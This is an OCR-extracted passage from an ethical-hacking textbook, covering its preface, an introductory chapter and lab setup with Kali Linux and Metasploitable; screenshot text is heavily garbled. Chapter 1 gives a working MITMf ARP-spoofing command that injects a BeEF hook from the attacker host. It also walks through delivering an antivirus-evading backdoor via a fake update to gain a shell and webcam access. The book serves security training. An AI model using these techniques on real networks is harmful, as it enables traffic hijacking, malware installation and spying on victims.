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Preface

This book is intended for anyone who wants to learn how to perform hacking/penetration
testing. It is designed to start from scratch, assuming no prior knowledge, and takes you all
the way to a strong intermediate level in the subject. The book is highly practical but it will
not neglect the theory. It starts with some basic terminology; then you'll learn how to set up
a penetration-testing lab and install all the necessary software. The remainder of the book is
divided into a number of sections, each covering a penetration testing field—from
networks, servers, and websites to client-side attacks and social engineering. In each of
these sections, you'll learn how a target system works, the weaknesses in the system, how
to exploit those weaknesses and hack the system, and how to secure the system from the
discussed weaknesses. By the end of the book, you'll have a strong base and a good
understanding of hacking/penetration testing, so you'll be able to combine the techniques
shown and tailor them to suit different scenarios.

Who this book is for

This book starts from scratch, assuming the reader has no prior knowledge of
hacking/penetration testing. Therefore, it is for anybody who is interested in learning how
to hack or test the security of systems like real hackers and secure them like security
experts.

What this book covers

Chapter 1, Introduction, discusses the concept of ethical hacking and also covers basic
information about the different fields of penetration testing.

Chapter 2, Setting Up a Lab, looks at setting up a lab and installing all the software that is
needed in order to get started with penetration testing. We are going to discuss this
because, all through this book, we are going to learn about launching attacks on our system
by creating a virtual environment in it.

Chapter 3, Linux Basics, walks you through the Kali Linux environment so that you become
familiar with the virtual framework. We will be learning some basic commands, as well as
looking at the installation and updating of software.
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Chapter 4, Network Penetration Testing, will cover the basics of what we mean by a network
and will examine the various types of network. Also, we will discuss a few terminologies
related to networks.

Chapter 5, Pre-Connection Attacks, will discuss wireless cards. Then we will learn how to
gather information about networks and computers, and we'll learn how to launch attacks,
such as controlling connections without having the credentials of the target. We will learn
how to capture information about victims by creating fake access points to which the
targets will be connected.

Chapter 6, Network Penetration Testing — Gaining Access, demonstrates how we can crack the
key and gain access to our target by using all the information that we have gathered about
the victim. This chapter we will also teach you how to crack WEP/WPA/WPAZ2 encryptions.

Chapter 7, Post-Connection Attacks, will teach you how to gather information about the
network so that we can use it to perform further powerful attacks. To do so, we will be
using various tools. Each of those tools has various advantages that we can exploit to find
out more useful information about the victims.

Chapter 8, Man-in-the-Middle Attacks, will be about launching various man-in-the-middle
attacks, such as ARP spoofing, session hijacking, and DNS spoofing. We will also learn
about the Wireshark tool, which is incredibly effective for analyzing the packets flowing in
and out of the victim's system.

Chapter 9, Network Penetration Testing, Detection, and Security, discusses ARP
poisoning—we will discuss how to perform the attack, how to detect it, and also how to
prevent and secure our systems from this attack. We will also be learning about how
Wireshark can help us with all those endeavors.

Chapter 10, Gaining Access to Computer Devices, teaches us how to gain full control over any
computer system. This chapter will cover the first approach, which is server-side attacks. In
this chapter, we will learn how to gain full access to the target system without user
intervention. We will even be gathering information about the operating system of the
victim, as well as any open ports and installed services that might help us identify the
weaknesses and vulnerabilities of that system. Then we will be exploiting the
vulnerabilities to control the target.

Chapter 11, Scanning Vulnerabilities Using Tools, will show you how to use the built-in
Metasploit framework to help us to scan the network and target so that we can gain
information about them.

[2]
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Chapter 12, Client-Side Attacks, looks at the second approach that can be used to gain access
to the victim's system. Here, we will be making use of packets that move in and out of the
target system to launch attacks. To track packets, we will learn about a tool called Veil,
which even helps us generate backdoors. We'll also look at securing our system.

Chapter 13, Client-Side Attacks — Social Engineering, teaches you how to access the victim's
systems when vulnerabilities are not apparent. In such cases, our only solution is
interacting with the user, and that is where social engineering comes into play. We will be
using various techniques to get the victim to install a backdoor to their device. To achieve
this, we will be creating fake updates and backdooring downloaded files on the fly.

Chapter 14, Attacking and Detecting Trojans with BeEF, teaches us how to use the BeEF tool.
We will learn some basic commands with it, and we'll use it to detect Trojans.

Chapter 15, Attacks Outside the Local Network, demonstrates the attacks that we will be
launching on other networks. We will be learning about the concept of IP forwarding, and
we'll also look at using external backdoors to launch these attacks.

Chapter 16, Post Exploitation, teaches you how to interact with a system that you've
managed to break into. We will study how to maintain our access to the system (and
filesystem) that we have hacked. We will also learn how to use the target computer to hack
or spy on the other computers in the network.

Chapter 17, Website Penetration Testing, discusses how websites work, and we will even
look at how the backend is exploited.

Chapter 18, Website Pentesting — Information Gathering, explains how we can gather
information about our target, specifically website owners or servers hosting those websites.
We can do this using commands and tools such as Netcraft. We will also be covering the
concept of the subdomain.

Chapter 19, File Upload, Code Execution, and File Inclusion Vulnerabilities, deals with various
vulnerabilities and also demonstrates, via examples, how to exploit them.

Chapter 20, SQL Injection Vulnerabilities, covers one of the most dangerous vulnerabilities,
which is SQL injections. Here we will also learn about how we can detect such
vulnerabilities and secure our systems from them.

[3]
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Chapter 21, Cross-Site Scripting Vulnerabilities, covers cross-site scripting. Here we will learn
about everything from launching attacks to securing your systems from those attacks.
Furthermore, we'll also find out how we can detect those threats in our system.

Chapter 22, Discovering Vulnerabilities Automatically Using OWASP ZAP, teaches you how
to use a tool called Zmap, which helps detect risks. It generates results of various scans, and
we'll be analyzing those results in this chapter.

To get the most out of this book

To get the most out of this book, all you need are basic IT skills and a wireless adapter (for
the Wi-Fi-cracking section only). That adapter can be anything as long as it has an Atheros
chipset (such as ALFA AWUS036NHA).

Download the example code files

You can download the example code files for this book from your account at
www . packtpub . com. If you purchased this book elsewhere, you can visit
www . packtpub.com/support and register to have the files emailed directly to you.

You can download the code files by following these steps:

Log in or register at www.packtpub.com.
Select the SUPPORT tab.
Click on Code Downloads & Errata.

Enter the name of the book in the Search box and follow the onscreen
instructions.

L e

Once the file is downloaded, please make sure that you unzip or extract the folder using the
latest version of:

e WinRAR/7-Zip for Windows
e Zipeg/iZip/UnRarX for Mac
e 7-Zip/PeaZip for Linux

[4]
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The code bundle for the book is also hosted on GitHub at https://github.com/
PacktPublishing/Learn-Ethical-Hacking-from-Scratch. In case there's an update to the
code, it will be updated on the existing GitHub repository.

We also have other code bundles from our rich catalog of books and videos available
athttps://github.com/PacktPublishing/. Check them out!

Conventions used

There are a number of text conventions used throughout this book.

CodeInText: Indicates code words in text, database table names, folder names, filenames,
file extensions, pathnames, dummy URLs, user input, and Twitter handles. Here is an
example: "We will go into the Metasploitable directory and select the . vmdk file"

A block of code is set as follows:
html, body, #map {
height: 100%;
margin: 0;
padding: O
}

Any command-line input or output is written as follows:

-i eth0 -r 10.0.2.1/24

Bold: Indicates a new term, an important word, or words that you see onscreen. For
example, words in menus or dialog boxes appear in the text like this. Here is an example:
"If we go to Files | Downloads, we will see the file."

Warnings or important notes appear like this.

Tips and tricks appear like this.

[5]
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Get in touch

Feedback from our readers is always welcome.

General feedback: Email feedback@packtpub.com and mention the book title in the
subject of your message. If you have questions about any aspect of this book, please email
us at questions@packtpub.comn.

Errata: Although we have taken every care to ensure the accuracy of our content, mistakes
do happen. If you have found a mistake in this book, we would be grateful if you would
report this to us. Please visit www.packtpub.com/submit-errata, selecting your book,
clicking on the Errata Submission Form link, and entering the details.

Piracy: If you come across any illegal copies of our works in any form on the Internet, we
would be grateful if you would provide us with the location address or website name.
Please contact us at copyright@packtpub.com with a link to the material.

If you are interested in becoming an author: If there is a topic that you have expertise in
and you are interested in either writing or contributing to a book, please visit

authors.packtpub.com.

Reviews

Please leave a review. Once you have read and used this book, why not leave a review on
the site that you purchased it from? Potential readers can then see and use your unbiased
opinion to make purchase decisions, we at Packt can understand what you think about our
products, and our authors can see your feedback on their book. Thank you!

For more information about Packt, please visit packtpub. com.
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Introduction

Primarily, this chapter will provide a brief overview of the topics that will be covered
throughout this book. It will cover all of the aspects associated with hacking, from how to
perform hacking to protecting your system from being hacked. Later in the chapter, we will
discuss the concept of hacking, discussing three types of hackers: white hat hackers, black
hat hackers, and grey hat hackers. Toward the end of the chapter, we will illustrate some
real-time hacking applications.

This chapter will address the following questions:

e What's in this book?

e What is hacking?

e Why should we learn about hacking?
¢ A glimpse of hacking

What's in this book?

In this book, you will learn how to become an ethical hacker from scratch. We'll assume
that you have no experience in ethical hacking, and, by the end of the book, you will be at
an intermediate (to high) level.

Here is a quick overview of what will be covered in this book:

e Preparation
e Penetration testing
e Protecting your own system
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Preparation

In the first part of this book, you will learn how to create your own lab, so that you can
practice ethical hacking on your own computer. You will also learn the installation of Linux
systems and how to interact with them, as well as how to set up other systems to try to
hack into them.

Penetration testing

In this part of the book, we will cover the most important penetration testing fields. In each
of these sections, we will first illustrate how a particular system works, and will then test
the security of that system. In the following sections, we will introduce the types of
penetration testing that will be seen in this book.

Network penetration testing

In network penetration testing, the first things that we will learn are how networks work
and how devices interact with each other.

First, we will learn more about the networks around us; we will gradually proceed by
setting up a fake access point and luring people into connecting to networks so that we can
capture data that is sent or received through them. We will then learn how to get the
password for any Wi-Fi network, whether it uses WEP, WPA, or WPA2 encryption.

We will also go over a large number of powerful attacks that will allow us to gain access to
any account that is accessed from any computer in a network. We will be able to capture
usernames, passwords, images, and pictures that computers on a network send or receive.

Gaining access

In this part of the chapter, we will learn how to gain access to computer systems. There are
two methods to hack a computer:

e Server-side attacks
e Client-side attacks

When learning about server-side attacks, you will see how to discover weaknesses in the
programs installed on the target computer, and how to use those weaknesses to gain full
access to the computer.

[8]
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In the client-side attacks, you're going to learn how to use social engineering to hack into
the target, you'll learn how to create undetectable backdoors, backdoors that look like
images and pictures, and so on. We will also learn how to gain access to any computer if
that computer exists in our network by using fake updates or by using fake downloads.

Post exploitation

In this section, we look at post exploitation, learning how to control the devices that we
hacked. So, we're going to see how to open a system's webcam, manage its filesystems, and
download or upload files to it. We will also learn how to capture all of the key strikes that
the person enters on their keyboard, or even use that computer as a pivot to hack into other
computers.

Website penetration testing

In the final sections, which will be about website penetration testing, we will learn how to
gather very comprehensive information about websites, including how to discover, exploit,
and mitigate a large number of serious vulnerabilities.

Protecting your system

Finally, we will learn how to protect ourselves (and our systems) from the attacks discussed
in the preceding sections.

What is hacking?

Through hacking, you can do anything that you're not supposed to do (or allowed to do).
For example, you can view information that you don't have permission to see or use a
computer that you're not allowed to use. There are many different types of hacking, such as
email hacking, computer hacking, server hacking, and web application hacking.

There are three different types of hackers:

e Black hat hackers: Black hat hackers hack into systems for their own benefit;
these are the ones that steal money or break systems purely to benefit
themselves.

[9]
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e White hat hackers: White hat hackers try to secure systems; they might use the
same methods as black hat hackers, but they only do it on systems for which they
have permission to do so, in order to see if the systems are vulnerable—they hack
them in order to fix them.

e Grey hat hackers: There are also grey hat hackers, which are a mix of both; they
will test any systems that they want to test, even if they don't have permission to
hack them. Once they do hack into things, they don't break anything or steal any
money; they don't cause damage. They might even tell the administrators how to
fix it.

In this book, we will be white hat hackers. This book is only about teaching hacking for
educational purposes. It is for people who want to be able to secure their networks, and
who want to work as pen testers to secure computer systems.

Why should we learn about hacking?

Hacking is an existing field—there are many job opportunities within it, it is happening
every day, and it involves a growing demand for protection. We all heard about the

Sony hack when PlayStation was down for a considerable amount of time. Companies such
as Sony are actually hiring people to try to hack into them. You're going to learn how to
hack into networks and systems so that you can secure them from black hat hackers.

Not so long ago, someone found a way to brute-force the restore password key for
Facebook on its mobile website, because Facebook didn't check for the number of times that
you entered the incorrect PIN. Once the person had done this, they told Facebook about it,
and they were rewarded with $20,000, because Facebook has a bug bounty program. At the
moment, many websites and companies have bug bounties — they are asking people to try
to hack them, and they will pay a certain amount of money if a hack is successful,
depending on how dangerous the exploit is.

A glimpse of hacking

In the coming sections, we are going to learn how to install the operating systems and
programs needed for hacking. We will then learn some basics about hacking, and how to
use the operating systems involved. Before we start, I'd like to give you the gist of what
you're going to be able to do by the end of this book. In this section, we are going to go
through an example of hacking a Windows computer from a Linux machine.

[10]
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Don't worry about how we installed these machines or how to run these commands; right
now, this is just an example. In the future, we're going to break this into steps, and you will
see exactly how to run the attack. You will also learn about how the attack works, and how
to protect yourself from such an attack.

Browser exploitation framework

Now, we are going to use a program called Browser Exploitation Framework (BeEF):

1. We're going to launch BeEF XSS Framework. It uses JavaScript code to hook a
target computer; once a computer is hooked, we'll be able to run a number of
commands. Following is a screenshot of how it looks:

Basic

Hooked Browsers

» [ Cnling Rrowsers
4 {5 OfMine Browsers
4539100215

7 WM 10025

7 @ 0025
7 M 10025

Reyuesier

# Becr 0470.apha | Submt Bug | Logout

Getring Staned #| Logs Canrent Browser

THE BAOWSER EXALOIMATION FRAMEWORK PAOJECT

Official website: hitp:becfproject.com/
Getting Started
Wekome to DeEF!

Before being Abie 1o fully expikore the AMework you will Rave 10 Took A hrowser. To hegin with you can
point a browser towards the basic demo page here, of the advanced version here.

Ifyou want to hook ANY page (for debugging reasons of course), drag the following bookmarklet link
inlo your browser's bookmark bar, then simply click the shortcut on another page: | look Me!

Al a brewsen is hooked ke e hanework ey wil appean in e Houked Browsers” paed on e
left. Hooked Drowwsers will ARREAT in SEher an onine or oiine Stale, depending on how recently they
have polled the tramework.

Hooked Browsers

To nteract with a hooked browser Simply lefl-chck it, a new tab wil appear. Each hooked browser lab
has a number of sub-tabs, described below:

Main: Display information about the hooked browser after you've run some command modules.
Logs: Displays recent kg enies ielated W his paiculs hooked browser,

Commands: This lab is where modules can be exevuled agaist e hovked iowsen. This is
where masi of the BeEF functionalily reskies. MOSt COMMAND moduies consist of JAVASCING cote
that 15 executed aganst the selecled Hooked Browser. Command modules are abie to perform anmy
actions that can be achieved through Javascript: for example they may gather information about the
Hooked Browser, manipulate the DOM or perferm other activities such as cxploiing vulnerabilitics
within the local network of the Hooked Drowser,

Fach command momile has A waffic ight icon, which is used in indicate the following
The command module works aganst the target and should be invisible to the uzer
W The command module works against the target, but may be visible 1o the user
The command module is yet to be verified against this target
@ The command module does nat work against this target
XssRays: The KssRays lab alkews the usern o check il nks, fonns and URI path ol the page
(where the hiowser s hooked) s vuineranie In XS5
Rider: [he Huder tab allows you to subma arbrary HT [F requests on behall of the hooked browser.

Each request sent by the Rider iz recorded in the History panel. Click a history fem to view the
HTTP headers and HTML source of the HTTP response.

Network: The Network tab allows you to interact with bosts on the local network(s) of the hooked e
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2. To run the commands, we will use a man-in-the-middle attack to automatically
inject the hook code for BeEF. We will use a tool called MITMf to perform an
ARP spoofing attack. We will give it the network interface, gateway, and target
IP address, which is the address of the Windows machine.

3. Next, we will tell MITMf that we want it to inject a JavaScript URL, and give it
the location where the hook is stored. The code will look something like this:

mitmf —--arp —--spoof -i eth0 --gateway 10.0.2.1 --target 10.0.2.5 —-
inject —--js—url http://10.0.2.15:3000/hook.]js

4. Once this is done, hit Enter, and it will run successfully. Its output is shown here:

2.1 --target 18.8.2.5 --inject --js-url http://186.8.2.

- 'The Dark Side'

g enabled

nline
Marlinspike online

.mitmfapi" (lazy loading)

Press CIRL+C to quit)

5. This looks very complicated; we don't know where we got the options from, so it
probably all looks very confusing in the preceding screenshot. Again, don't
worry; we will discuss it in detail later on, and it will become easy for you. Right
now, all we need to understand is that this program is going to inject the hook
code; the code allows BeEF to hack into the computer, into the browser used by
the target person, and the code can run without the person even knowing.
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6. Now, go to the Windows machine and run the web browser. We're just going to
go to any website, such as Google or Bing.

7. If you go back to the Kali machine, you'll see that we have the IP address of the
target person under Hooked Browsers, and, if you click on the Commands tab,
you'll see a large number of categories, with commands that you can run on the
target computer. These are shown in the following screenshot:

Hooked Browsers
4 =5 Online Browsers
4 5] wwwi.google.com Details Logs Commands

? M= 10025 Module Tree
4 () Offine Browsers Sparch
4£310.0.2.15 —_—

- 7 M 10025 (e i
» [C7] Chrome Extensions (8)
> [ZJ Debug (9)
+ (] Exploits (78)
» £ Host (22)
- CJIPEC (9)
+ |~ Metasploit (1)
> [ Misc (16)
. ] Network (19)
- [ Persistence (5)
» (1 Phonegap (16)
> |27 Social Engineering (21)

Getting Started Logs
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8. Let's display a fake notification bar to the target telling them there's a new
update, so click on Social Engineering | Fake Notification Bar (Firefox), as
shown in the following screenshot:

Getting Started
Detats | Logs
Module Tree
Search
1 Browsen (53)
] Chrome Extensions (6)
] Debug ()
) Dxploits (78)
C_JHest (77)
_JIFEC (3)
I Metasping (1)
I Misc (16)
) Network (19)
» [ Persistence (5)
+ [ ] Phonegap (16)
4 {3 Social Engineering (21)
Clickjacking
Fake | astPass
Lcamiuf Download
@ Clippy
& Fake Flash Update

Logs

Commands

@ Fake Notification Bar {Chror
& Fake Nowfication Bar (Firefo
@ Fake Notification Bar (IC)

@ Goagle Phishing

@ Pretty Theft

@ Replace Videos {Fake Plgi
& Sinpke Hilacker

@ TabMabbing

@ Fake Evernote Web Clipper
@ Firefox Extension (Bindshel]
@ Firefox Extension (Dropper)
@ Fircfox Cxtension (Reverse
@ HIA Powershel

@ SiteKiosk Dreakout

@ Steal Avtocomplete

@ User Interface Abuse (IE 92

Current Browser
Higer || XesHays || Ipec | Network || WehHTL
Module Hesults Histary
id - date label Description:
o 2018-07-12 03.36  cummand 1
I
Plugin URL:
Notific aticn

exr

Fake Notitication Bar [Firefox)

Displays A lAke NoMMCANON har At the 100 of the Sereen, SIMIAT 10 those presented n Fretog, If the
user cicks the they will be o amalcious Firefox extension (by
defaull),

57

hillp:10.0.0.0:3000fapifipecil_exlension
Critical update, click here to install

Exeuule

9. This is going to show the target person that there's a new update, and, once they
have installed the update, we can hack into their computer. Now, let's configure
the fake notification bar to install a backdoor once the user clicks on it.

10. We have a ready-made backdoor that's not detectable by antivirus programs
(you will see how to do that in upcoming chapters). We will store that backdoor,
and call it update.exe.

[14]




Introduction Chapter 1

11. Next, we will click on Execute. Now, before we run the update, we will have to
listen to incoming connections to connect to the target computer, once the victim
tries to update their computers. Now, if we hit Execute on the fake notification
bar command, the bar will be displayed in the target's browser, as shown in the
following screenshot:

B Craical update, Ik here 10 INH130  Jnstail plugrin i

Google

Google Svarch I'm Feeling Lucky

Google offered in. B M Bews TE gl Avdl FEE oR@Oge e

12. In the preceding screenshot, Firefox is showing that there is a critical update, and
you need to click on Install plug-in to install that update. Once you have clicked

on it, and you can see that it has downloaded an update file, save it, and then run
the update.

13. If we go back to the Kali machine, we'll see that we managed to get a reverse
session from the Windows machine. So, let's interact with that computer; we will
basically have full control over it:

Now, let's see how to access the target computer's webcam.
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Accessing the target computer's webcam

To access the webcam, we are going to use a plugin that comes with Meterpreter; we will
use the webcam_stream command.

When we hit Enter, we will be able to turn the webcam on. It is a webcam that's actually
attached to the Windows machine; we have hacked into the Windows machine, and we can
do anything we want on it. Again, this is just an example of one attack that we're going to
use. We're going to perform many more attacks like this, and all of them are going to allow
us to gain full control over the target system.

Summary

In this chapter, we looked at some brief descriptions of the topics that will be thoroughly
covered in this book. We discussed using a Linux machine to hack a computer with the
Windows operating system. Then, we learned about the concept of hacking through the use
of real-time examples. The different types of hackers were discussed. Finally, we saw
various applications involved in hacking.

In the following chapter, we will set up a virtual environment to perform various
penetration tests. We will also install Kali Linux, Windows, and Metaspoitable machines.

[16]
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In the previous chapter, we learned the concept of hacking. In this chapter, we are going to
learn how to set up a virtual environment, so that we can later perform penetration tests on
it. In this chapter, we will cover the concept of virtual machines, and will also perform its
installation steps. Later in the chapter, we will learn how to install Kali Linux, and the two
victim machines on VirtualBox: Windows and the Metasploitable machine. We will also
discuss what each of these machines does, and why we are going to use them. Toward the
end of the chapter, we will see the concept of snapshots, and how to implement them.

The following topics will be covered in this chapter:

e Lab overview

Installing Kali Linux

Installing Metasploitable

Installing Windows

Creating snapshots and using snapshots

Lab overview

Since this book is highly practical, we will need a lab, a place where we can learn and
perform attacks. To create this, we're going to use a program called VirtualBox.
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VirtualBox

VirtualBox is a program that will allow us to install machines, just like normal computers,
inside our own machine. We will have one computer, and we will install other computers
inside it, acting as virtual machines. These are very important in terms of penetration
testing; we're going to be using them a lot in order to set up alab. It's very important to
note that a virtual machine is just like a completely separate, working machine; there is
nothing we will lose by installing an operating system as a virtual machine, and it will
perform just like it does when installed on a separate laptop. Basically, instead of having
four or five computers or laptops around us (so that we can try to hack into them), we're
going to install them as virtual machines inside our own machine. This might seem a bit
vague now, but once we get further into the chapter, the concept of how VirtualBox works
will become clearer.

Basically, we are going to have three computers inside our main computer. We will have
the following three machines in our lab:

e Attacker machine: Kali Linux
e Victim 1: Metasploitable
e Victim 2: Windows

For example, if our main computer has macOS, we are not going to do anything with that.
We have a machine that will be an attacker machine, running Kali Linux, and we will learn
more about Kali Linux in a later part of this chapter.

We will also have two victims:

e A victim that runs on Windows.
e A victim that runs an operating system called Metasploitable.

So, we're going to have our own machine, and then have three separate machines inside it.
This will be possible by using VirtualBox.

[18]
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Installation of VirtualBox

When downloading VirtualBox, just grab the version that's compatible with your operating
system. There is VirtualBox for Windows, macOS X, and Linux.

VirtualBox is free, and you can download it from the following
link: nttps://www.virtualbox.org/wiki/Downloads

So, just find the VirtualBox version that is compatible with your operating system, double-
click on it, and install it. Installing it is very simple; you just double-click it, click Next,
Next, and Next, and it's installed. The following is a screenshot of VirtualBox; as we can
see, it's installed, and we have no machines on the left-hand side of the window:

g
i > H I
New Setbngs Dwcard  Start Mm‘i—u-'lmki|(labd1eds
Welcome to VirtualBox!
Tha left part of this window Ests all virhual machines and virtusl machine groups on your compuer, The st is amply now bacsuse you haver't crasted any
virtual machines yet.

In order to create a new virtual machine, press the Mew button in the main tool bar located at the top of the window,
Tou can press the F1 key to get instant help, or visit v virtualbox, org for more informatien and Latest news.

Installing Kali Linux

Throughout this book, we're going to use a number of penetration testing tools. You can go
ahead and install each of these tools manually, or you can do what most pen testers,
including myself, do—save time and effort by using an operating system designed for
hacking. We're going to use an operating system called Kali Linux, a flavor of Linux based
on Debian. It comes with all of the programs and applications that we need to use,
preinstalled and preconfigured. This means that we can just install the operating system
and start to learn hacking.
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There are two options for installing Kali: install it as a virtual machine inside the current
operating system or install it in the main machine as the main operating system.
Throughout this book, we are actually going to be using it as a virtual machine, because
using it as a virtual machine works exactly the same as using it as the main machine; it will
be completely isolated from our computer running inside VirtualBox. If we break it, or
mess things up, it would be very easy to fix. It's very easy to go back to other snapshots or
configurations, and we won't lose any functionality by using it as a virtual machine. That is
why we always use it this way.

The steps are exactly the same, regardless of what operating system you
use, whether you're on Windows, Linux, or OS X.

The steps for installing Kali Linux are as follows:

1. Download the VirtualBox version for your computer.

2. After setting up VirtualBox, download Kali Linux, available at https://www.
offensive-security.com/kali-linux-vm-vmware-virtualbox—hyperv-image-
download/.

3. Scroll down, making sure to click on the Kali Linux VirtualBox Images, not on
the VMware; then, download the version of Kali that's compatible with your
system. So, if you have a 64-bit computer, download the 64-bit, and if you have a
32-bit computer, download the 32-bit.

4. After downloading it, you should get a file with a . ova extension; you will have
the name followed by the . ova extension, as shown here:

= | B P9
@.\._/.'| & » admin » Downloads » - |¢,| | Search Downloads L2 [
Organize » 9 Open - Share with = New folder =~ [ l@l
A Eavorites MName Date modified Type Size =i
Bl Desktop I! kali-linux-2018.2-vm-amd-64.ova 01-06-2018 21:53 QOpen Virtualizatio... 3516178 KB I
4 Downloads ?,-;,; StorageExplorer.exe 24-05-2018 17:55 Application 47,459 KB
_‘ Recent Places '@, VirtualBox-5.2.12-122591 -Win.exe 14-05-2018 16:10 Application 1,11,106 KB
L Software (1921680. [ pycharm-community-2018.1.2.exe 03-05-2018 16:00 Application 1,67930 KB
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5. To install this in VirtualBox, all we have to do is double-click on the file. You will
see a window that will allow you to import the virtual machine. We're going to
keep everything the same for now and we're just going to click on the Import
button. That's it; the virtual machine is ready to be used:

5 Cracle VM VirtualBan Manage —

Webcome: to VirtualBox!

The left part of this window ksts all virtsal machines and virtual machine groups on your computer, The st is empty now because you have't created any
wirtual machines yet.

In order o create & new virtual madhine, press the New bulton in the msn tool bar keated at the top of the window.
ou can press the F1key to getinstant help, o visit wyrw. virtuslbox org for more information and latest news,

o) Impen virtual Appliance

Appliance settings

These are the virtual machines contained in the applance and the sugpested settings of the
E: chi ch f the properties chown by doublecidang
e the items and disable athers using the check baxes below.

[ wiamE

& ovo 7]

¥ USE Controller 7

&P Metwark Adapter o] Intel PRO/1OO0 MT Server (B2545EM)

> Storage Controller IDE) PN
4 & Storage Controller {SCST)  LsiLogic

@ vinal Disk Image CAUsers\adrmin VirtualBox VMs\wm\Kaki-Linw:
Reirifisize the MAC address of ol nebwork cards
Appllance i5 not signed

et ol |

6. Before we start, we will look at how to modify some of the settings. We're going
to click on the Kali-Linux tab, which can be seen on the left side of the window.
Then, we're going to click on the Settings. The first thing that we are going to do
here is go to System and modify the amount of RAM it has. Depending on how
much RAM you have on your computer, you can give this a 2, but 1 GB is
enough for Kali. Usually, I leave it at 2, because I have 16 GB of RAM.
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7. Also, when you click on the Processors tab, you'll see that, by default, we have
two processors assigned to it. Again, I have 8 CPUs, so 2 is not going to cause too
much pressure on my computer; but 1 CPU is also enough for Kali.

8. Now, we're going to go to the Network settings, and we're going to set this to use
a NAT network. Sometimes, when we set this to a NAT Network, we won't see a
network name in here; for that, please check out the link https://www.youtube.
com/watch?v=y0PMFg-oAEs and it will show how to create a NAT Network. This
setting is basically going to create a virtual network that our host machine will be
the router for, and then all of the virtual machines are going to be clients
connected to this network. So, they're going to get internet connection from the
host machine and, at the same time, all of my virtual machines will be connected
to a virtual network. This is very handy, because my virtual machines will be
able to communicate with each other; we can use one of them to hack into
another, and we can use it to test network attacks, and much more.

This will allow my virtual machines to have internet connection, and it will also
allow them to communicate with each other, all of this will be done through a
virtual network. It will not use any of your wireless adapters or any of the
wireless cards; it will create a virtual Ethernet network, so as far as the virtual
machines are concerned, they're connected to a network through an Ethernet
cable.

9. We can now click on OK and start our virtual machine.

10. Now, to start it, all we have to do is click on the Start button. Then, click inside
the virtual machine, and hit Enter; now we are inside the virtual machine:
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Brxm-mm“m”u.uqu T

v "
. L
Mew  Sattngs Dacard Show
‘Welcome to VirtualBoo!
A
D0 Eol-Lirvu [Funing] - Orache VIA VirluaRs R ———— | —efel)s A | "
[ File Machine View Input Devices Help [ v e o b extned -
e ——— — ( l
i ; #ydieg i -
UL Anus '
ertain oroperBes ke Be macine sk Jﬂ
arvd abovs tnainl Cikbore (mak . ,ﬁl

BY OFFENEIVE SECURITY

i g &P 12 I 0P (D) 9 (3] might o

11. Now it's asking us for the username, and the default username is root, and then
it's asking us for the password, and the default password is the reverse of that,
which is toor. Since we installed this using the ready image, we can just click on
the green button, or we can go to View | Full-screen; the screen will
automatically resize to the size of our screen.

12. Now, note that top-right hand side of the screen, we should actually see a
network icon, because we set this machine to use a NAT network. If we don't
have a network icon, it means that the machine isn't connected to the NAT
network, so if we open the browser, we will see that it's not connected to the
internet.
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13. To fix this issue, we just have to go to the top of the screen, and it will display
menus. Going to Devices | Network, we can click on Connect Network Adapter
as shown in the following screenshot:

ﬂ Kali-Linux [Running] - Oracle WhA VirtualBosx

File  Machine ‘Wiew Input Help

Applications v Places

Optical Drives
Audio

MNetwork ®Y  Metwork Settings...
Use

ﬁ Connect Network Adapter
Weehcarms L4

We only have to do this once, and then the virtual machine will automatically
connect to the NAT network. Once this is done, in just a few seconds, we will
have a network icon appear, and if we click on it, we will get connected to a wired
network.

* v v -

e HE O

14. As we can see in the following screenshot, it says Wired Connected, so Kali
thinks it's connected to a wired network:

e ) O~

Now, if we just click Try Again in the browser, we will see internet working.

Don't be intimidated by this new operating system; we're going to go through the basics,
and we're going to use it a lot. It's actually going to become very easy for you to use.

Also, like I said, you won't lose any functionality when you install Kali Linux as a virtual
machine. It's actually better to install it as a virtual machine, because it's completely isolated
from your computer, and it will be very easy to fix if things go wrong.
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Installing Metasploitable

The second machine that we will use is Metasploitable. Metasploitable is another Linux
machine, and you can think of it as the opposite of Kali. Kali is designed so that you can use
it to hack into other devices, while Metasploitable is designed so that you hack into it, so it's
designed for people who want to learn penetration testing. It is designed so that it has a
number of vulnerabilities, and we're going to try to use Kali Linux in order to hack into
Metasploitable. Therefore, this is going to be one of the target, or victim, machines.

You can download Metasploitable at https://information.rapid7.com/metasploitable-
download.html.

You will end up with a ZIP file, like the following. Once you decompress it, you will get a
directory named metasploitable-linux-2.0.0.zip; double-click it, and you'll see the
following files:

Name : > | Type Compressed size Password ... = Size

|Y] Metasploitable.nvram VMware virtual machine ... 2KE Mo 9 KE
\? Metasploitable.wmdk Virtual Machine Disk For... 844806 KB Mo 18,80,512 KB
[]] Metasploitable.vmsd VMware snapshot metada... 0OKE Mo O KB
ﬁ Metasploitable.vmx VMware virtual machine c... 2KE Mo 3KB
j Metasploitablewmxf VMware Team Member 1KB No 1KE

So, we're going to create a new machine, through the following steps:

1. To get a virtual machine, we will click on New, and we will name it
Metasploitable and change its type to a Linux machine. Then, hit Next, and
give it only 1 GB of RAM.

2. Then, we are going to use the existing virtual file option, unlike when we created
Kali Linux (that is, when we created a new virtual hard disk). The reason for this
is that the image we have now is actually designed for VMware Player. So, we're
going to import the hard disk file, or the hard disk image, so that we have an
installation ready without having to install it. We're just going to use an existing
hard disk file. We will go into the Metasploitable directory and select the
.vmdk file.
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3. Click on Open and Create. We are going to start the machine right now. This is
what we will see when the machine is running and fully installed:
Warning: Never expose this UM to an untrusted network?
Contact: msfdevliatlmetasploit.con

Login with msfadmins/msfadmin to get started

metasploitable login:

Warning: Never expose this UM to an untrusted wnetwork?
Contact: msfdevlatlImetasploit.com

Login with msfadminsnsfadmin to get started

metasploitable login:

4. We don't really need to install anything, as we just imported a pre-made
installation, a ready hard disk. So, now it's asking for the username, msfadmin.
The password is the same. We are now logged in:

nsfadmin@metasploitable:™$ sudo pouweroff
[sudo]l password for msfadmin:

Broadcast message from msfadmin®metasploitable
(rdevs/ttyl) at 3:39

The system is going down for power off NOW?
nsfadmin@netasploitable:™$ = Stopping web server apache2
= Stopping Tomcat servlet engine tomcat5.5

[26]



Setting Up a Lab Chapter 2

This machine only has a Terminal, and it's giving you a warning that you should
never expose this machine to an external internet connection because it is a
vulnerable machine, designed to be vulnerable. It's only inside our lab, installed
as a virtual machine, so nobody outside our lab can access it, which is a really
good way of using it. As mentioned previously, in later chapters, we're going to
discuss how we can try to hack into this machine. Again, don't be intimidated by
the Terminal; we're going to be using it a lot, and we're going to learn how to use
it step by step.

If we want to turn this machine off, all we have to do is type in sudo
powerof f—just run the command. After asking for the admin password, the
machine just turns off:

